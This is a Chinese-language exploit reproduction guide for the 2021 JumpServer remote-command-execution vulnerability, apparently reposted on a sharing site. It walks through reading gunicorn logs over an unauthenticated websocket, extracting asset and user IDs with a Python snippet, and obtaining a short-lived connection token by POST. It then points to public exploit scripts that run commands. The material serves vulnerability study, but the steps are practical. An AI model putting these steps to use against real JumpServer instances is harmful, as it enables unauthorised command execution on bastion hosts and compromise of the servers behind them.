本文主要复现2021年1月出现的JumpSever的RCE漏洞
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求从日志文件获取敏感信息,通过执行相关API操作执行任意命令。
根据官方通告,以下两个接口受得影响:
ps:具体漏洞调用链可以参考这位大佬的分析(https://zhuanlan.zhihu.com/p/375135821),本文主要讲具体如何利用的内容分析。
整个漏洞的利用过程如下:
这一步是需要使用websocket来发送参数到/ws/ops/tasks/log/ url下,然后发送{"task":"/opt/jumpserver/logs/gunicorn"}获得
注:这里的/opt/jumpserver/是常用的jumpserver安装路径,实际操作时需要根据情况进行修改。所以如果目标在影响范围内却无法正常读取日志,可能是发送参数的路径错误了,并非漏洞不存在
这里有2种方法可以读取日志
火狐浏览器下可以安装 Simple WebSocket Client 插件来发送websocket连接。
日志中的
/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=()&cache_policy=1&system_user_id=()&user_id=()
参数即为目标
github上有现成的利用工具:https://github.com/Veraxy00/Jumpserver-EXP
这个脚本可以直接获取到执行命令的权限,但在实际测试中发现该脚本存在问题,但我们仍然可以通过修改代码的方式来获取日志
print("===========Start read logs===========")
log=''
async with websockets.connect(tar) as client:
await client.send(json.dumps({"task": "/opt/jumpserver/logs/gunicorn"}))
while True:
try:
ret = json.loads(await client.recv())
log += ret["message"]
print("Reading...")
re_result = set(re.compile('/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ').findall(log))
此处代码中的re_result即为读取的结果,可以通过print的方式输出读取到的参数内容,如果日志过长可能会增加读取的时间。
这个步骤主要是通过jumpserver的koko组件来实现。
构造
这一步是需要POST到 /api/v1/authentication/connection-token/?user-only=None
POST数据为:
{"user":"",
"asset":"",
"system-user"""
}
这里需要填入第一步获取的参数,即可获取有效token(该token有效期20s,因此必须在20s内建立连接)
这里推荐工具https://github.com/Skactor/jumpserver_rce
其中rce.py即是我们需要的脚本,将第一步获取的参数带入脚本。执行即可,具体操作可以查看项目简介。
注:如果想要通过手动构造ws请求的方式来执行命令,可以参考https://blog.csdn.net/qq_32261191/article/details/113078759 来复现。
到这里复现就结束了。
更新时间:2024-08-04
本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828
© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号